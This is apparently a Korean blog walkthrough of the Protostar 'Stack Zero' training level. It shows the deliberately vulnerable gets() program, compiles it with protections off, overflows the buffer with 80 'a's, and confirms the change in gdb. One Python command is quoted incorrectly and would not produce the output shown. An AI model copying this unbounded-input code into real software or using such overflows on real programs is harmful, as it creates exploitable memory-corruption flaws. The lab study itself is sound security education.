Security_RNRF

STACK ZERO 본문

Reversing/Protostar

STACK ZERO

RNRF 2022. 6. 3. 10:48

STACK ZERO

This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.

This level is at /opt/protostar/bin/stack0

Link - https://exploit.education/protostar/stack-zero/#source-code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

1. 파일 생성
root@kali:~/Desktop/protostar# geit ./stack0.c

2. 컴파일
root@kali:~/Desktop/protostar# gcc -z execstack -no-pie -w -o stack0 stack0.c

3. 파일 실행
root@kali:~/Desktop/protostar# ./stack0

4. 아무 값  입력을 통한 동작 파악
root@kali:~/Desktop/protostar# ./stack0
1111111111
Try again?

5. 코드 분석 (메모리 분석)

buffer
modified
EBP
RET

-> 즉, buffer를 가득 채워서 넘치게 하여, modified 변수에 값을 쓰게 하면 성공한다.
"if(modified != 0)" = "0"만 아니면 된다.

6. Python을 이용한 값 buffer에 넣을 값 생성
root@kali:~/Desktop/protostar# python -c "print('a*80')"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
-> 여유있게 80개를 생성해준다.

7. 파일 실행
root@kali:~/Desktop/protostar# ./stack0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
you have changed the 'modified' variable
-> 성공했다는 문구가 출력된다.

* 리버싱을 통한 분석
root@kali:~/Desktop/protostar# gdb ./stack0

(gdb) set disassembly-flavor intel
(gdb) disas main

Dump of assembler code for function main:
   0x0000000000401132 <+0>:	push   rbp
   0x0000000000401133 <+1>:	mov    rbp,rsp
   0x0000000000401136 <+4>:	sub    rsp,0x60
   0x000000000040113a <+8>:	mov    DWORD PTR [rbp-0x54],edi
   0x000000000040113d <+11>:	mov    QWORD PTR [rbp-0x60],rsi
   0x0000000000401141 <+15>:	mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000401148 <+22>:	lea    rax,[rbp-0x50]
   0x000000000040114c <+26>:	mov    rdi,rax
   0x000000000040114f <+29>:	mov    eax,0x0
   0x0000000000401154 <+34>:	call   0x401040 <gets@plt>
   0x0000000000401159 <+39>:	mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040115c <+42>:	test   eax,eax
   0x000000000040115e <+44>:	je     0x40116e <main+60>
   0x0000000000401160 <+46>:	lea    rdi,[rip+0xea1]        # 0x402008
   0x0000000000401167 <+53>:	call   0x401030 <puts@plt>
   0x000000000040116c <+58>:	jmp    0x40117a <main+72>
   0x000000000040116e <+60>:	lea    rdi,[rip+0xebc]        # 0x402031
   0x0000000000401175 <+67>:	call   0x401030 <puts@plt>
   0x000000000040117a <+72>:	mov    eax,0x0
   0x000000000040117f <+77>:	leave  
   0x0000000000401180 <+78>:	ret    
End of assembler dump.

(gdb) b *main+42 -> 비교 구문인 "test eax,eax"에 BP를 걸어준다.
Breakpoint 1 at 0x40115c
(gdb) r -> 실행
Starting program: /root/Desktop/protostar/stack0 
1234 -> "1234 입력"

Breakpoint 1, 0x000000000040115c in main ()

(gdb) disas main

Dump of assembler code for function main:
   0x0000000000401132 <+0>:	push   rbp
   0x0000000000401133 <+1>:	mov    rbp,rsp
   0x0000000000401136 <+4>:	sub    rsp,0x60
   0x000000000040113a <+8>:	mov    DWORD PTR [rbp-0x54],edi
   0x000000000040113d <+11>:	mov    QWORD PTR [rbp-0x60],rsi
   0x0000000000401141 <+15>:	mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000401148 <+22>:	lea    rax,[rbp-0x50]
   0x000000000040114c <+26>:	mov    rdi,rax
   0x000000000040114f <+29>:	mov    eax,0x0
   0x0000000000401154 <+34>:	call   0x401040 <gets@plt>
   0x0000000000401159 <+39>:	mov    eax,DWORD PTR [rbp-0x4]
=> 0x000000000040115c <+42>:	test   eax,eax
   0x000000000040115e <+44>:	je     0x40116e <main+60>
   0x0000000000401160 <+46>:	lea    rdi,[rip+0xea1]        # 0x402008
   0x0000000000401167 <+53>:	call   0x401030 <puts@plt>
   0x000000000040116c <+58>:	jmp    0x40117a <main+72>
   0x000000000040116e <+60>:	lea    rdi,[rip+0xebc]        # 0x402031
   0x0000000000401175 <+67>:	call   0x401030 <puts@plt>
   0x000000000040117a <+72>:	mov    eax,0x0
   0x000000000040117f <+77>:	leave  
   0x0000000000401180 <+78>:	ret    
End of assembler dump.

-> 해당 BP에 걸려있는것을 확인할 수 있다.

(gdb) info reg $eax
eax            0x0                 0
-> 아직 변조가 되지 않은 상태이다.

다시 한 번 실행해준다.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y -> 재시작
Starting program: /root/Desktop/protostar/stack0 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -> 값 입력

Breakpoint 1, 0x000000000040115c in main ()
(gdb) disas main

Dump of assembler code for function main:
   0x0000000000401132 <+0>:	push   rbp
   0x0000000000401133 <+1>:	mov    rbp,rsp
   0x0000000000401136 <+4>:	sub    rsp,0x60
   0x000000000040113a <+8>:	mov    DWORD PTR [rbp-0x54],edi
   0x000000000040113d <+11>:	mov    QWORD PTR [rbp-0x60],rsi
   0x0000000000401141 <+15>:	mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000401148 <+22>:	lea    rax,[rbp-0x50]
   0x000000000040114c <+26>:	mov    rdi,rax
   0x000000000040114f <+29>:	mov    eax,0x0
   0x0000000000401154 <+34>:	call   0x401040 <gets@plt>
   0x0000000000401159 <+39>:	mov    eax,DWORD PTR [rbp-0x4]
=> 0x000000000040115c <+42>:	test   eax,eax
   0x000000000040115e <+44>:	je     0x40116e <main+60>
   0x0000000000401160 <+46>:	lea    rdi,[rip+0xea1]        # 0x402008
   0x0000000000401167 <+53>:	call   0x401030 <puts@plt>
   0x000000000040116c <+58>:	jmp    0x40117a <main+72>
   0x000000000040116e <+60>:	lea    rdi,[rip+0xebc]        # 0x402031
   0x0000000000401175 <+67>:	call   0x401030 <puts@plt>
   0x000000000040117a <+72>:	mov    eax,0x0
   0x000000000040117f <+77>:	leave  
   0x0000000000401180 <+78>:	ret    
End of assembler dump.

-> 해당 BP에 걸려있는것을 확인할 수 있다.

(gdb) info reg $eax
eax            0x61616161          1633771873 -> modified 변수에 "aaaa"가 가득 차 있는것을 확인할 수 있다.

확인하는김에 스택의 값도 확인해준다.
(gdb) x/30gx $rsp

0x7fffffffe0f0: 0x00007fffffffe238 0x00000001ffffe126
0x7fffffffe100: 0x6161616161616161 0x6161616161616161
0x7fffffffe110: 0x6161616161616161 0x6161616161616161
0x7fffffffe120: 0x6161616161616161 0x6161616161616161
0x7fffffffe130: 0x6161616161616161 0x6161616161616161
0x7fffffffe140: 0x6161616161616161 0x6161616161616161
0x7fffffffe150: 0x0000000000401100 0x00007ffff7e1109b
0x7fffffffe160: 0x0000000000000000 0x00007fffffffe238
0x7fffffffe170: 0x0000000100040000 0x0000000000401132
0x7fffffffe180: 0x0000000000000000 0xbf2c379243b40de3
0x7fffffffe190: 0x0000000000401050 0x00007fffffffe230
0x7fffffffe1a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe1b0: 0x40d3c8eda2540de3 0x40d3d8d040320de3
0x7fffffffe1c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe1d0: 0x0000000000000000 0x00007fffffffe248

-> 그렇다면 modified의 위치는?
"rbp-0x4"이다.
(gdb) info reg $rbp
rbp            0x7fffffffe150      0x7fffffffe150

-> 즉, "0x7fffffffe150-0x4" 이다. 해당 modified 변수에 값이 "0x6161616161616161"으로 채워진 것을 알 수 있다.

'Reversing > Protostar' 카테고리의 다른 글

STACK FIVE  (0) 2022.07.10
STACK FOUR  (0) 2022.07.07
STACK THREE  (0) 2022.07.05
STACK TWO  (0) 2022.07.04
STACK ONE  (0) 2022.07.03
Comments